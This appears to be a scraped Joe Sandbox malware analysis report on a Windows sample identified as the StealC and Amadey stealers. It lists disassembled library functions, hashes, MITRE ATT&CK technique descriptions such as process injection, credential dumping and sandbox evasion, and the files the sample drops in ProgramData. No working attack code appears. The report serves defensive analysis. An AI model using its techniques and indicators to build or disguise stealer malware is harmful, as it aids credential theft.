Instruction ID: 595a1f3882f97951bc1bda5507ffae1b5ff0c44f644422ab8216b1f9724919fd
Opcode Fuzzy Hash: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction Fuzzy Hash: 9A0192757082148FDF00AFA7C4D4629BBB9EB8B321F05046AEA05C7700DB70E8018FDA

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C669E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C669EEF

Strings

NaN, xrefs: 6C669EC1
Infinity, xrefs: 6C669EB7

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction ID: c4194f2a258d45e7e49048328d94766e7d17b0c02063ac6c994417b112666e3a
Opcode Fuzzy Hash: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction Fuzzy Hash: E1F06D71601641CBDB00CF5AD8C5B9033F1B74771DF250A19C9440AF81D7767646CA9F

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C663850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C6DF860), ref: 6C66385C
ReleaseSRWLockExclusive.KERNEL32(6C6DF860,?), ref: 6C663871

Strings

,ml, xrefs: 6C66387A

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,ml
API String ID: 17069307-2011709430
Opcode ID: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction ID: 00fa472585672111d06e3571410fb36d97cae3e71abd384864b2b2c2593cfef1
Opcode Fuzzy Hash: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction Fuzzy Hash: 4EE0DF31A55A1897C7119F9794415CA7BB8EF4779070A8019F40A17E00C730F1808ACF

Function 6C66BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C66BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C66BEF5

Strings

cryptbase.dll, xrefs: 6C66BEF0

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction ID: 44563a522ee1324380eaf9a3347d73bdea828b5c897ecfb4e6088c6321dae0f1
Opcode Fuzzy Hash: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction Fuzzy Hash: F7D0A731184209E6C7006B528C05B2937749782795F10C020F30544C52C7B0B413DF4D

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Function 6C6ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C69FF2A), ref: 6C6ADFFD

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C69FF2A), ref: 6C6AE0FE

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction ID: e21ff0582001f1c578717a04a0280a70c0edc5aa316f26e7165c00677b0be3f0
Opcode Fuzzy Hash: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction Fuzzy Hash: 9441C1B16042168FEB14CFA9C89075A73B2AF46308F14493DD516DB740E732ED26CBAA

Function 6C6A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C6A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C6A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A6F5C

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction ID: 0bc45efbc56a15fb90265375e450124e3aef0bdf4470a3bdb9cd26a8f81ef013
Opcode Fuzzy Hash: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction Fuzzy Hash: 7C31F871A1060A8FDB04CF6CC980AAA73FAFB95304F50413DD41AC7651EF31E95AC794

Function 6C6BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C660A4D), ref: 6C6BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C660A4D), ref: 6C6BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C660A4D), ref: 6C6BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C660A4D), ref: 6C6BB67F

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction ID: 8faa6fbec7cdb6eb0e23bb9a89ffa2cdca4c2045baff36eeb0e7f7c129bded36
Opcode Fuzzy Hash: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction Fuzzy Hash: 1C31D471A012168FDB10CF59C8C469ABBB5FFC5304F168669C846EB201EB31ED25CBA5

Function 6C68F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F668

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fd0c959764e2c6f652b47417bb4cdd4b4b8c15a0ef4d9854fa31841a68e36b3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 95316F71B00214AFC714CF1DDCC0A9B7BB5EB94354B148538FA4A8BB04D732E9448BAA

Function 6C6A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26C1
free.MOZGLUE(?), ref: 6C6A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26FF
free.MOZGLUE ref: 6C6A270D

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction ID: da9dc1a29145f47382f95be9498f80c97c9091a0ac98734626d699cba01f1fb2
Opcode Fuzzy Hash: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction Fuzzy Hash: EFF0F9B27012046BE7109E5AD8C4D4773A9EF4131CB100035EA1EC3B11E332FD1AC6AE

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFBAAFHDHCBGCAKFHDAK

C:\ProgramData\DAAECAFH

C:\ProgramData\ECAFHDBGHJKFIDHJJJEBKEBGIE

C:\ProgramData\FIJKEHJJDAAKFHIDAKFH

C:\ProgramData\GIDHDGCBFBKECBFHCAFH

C:\ProgramData\IEHJJECB

C:\ProgramData\JJKFBFIJJECGCAAAFCBGHDGCGC

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
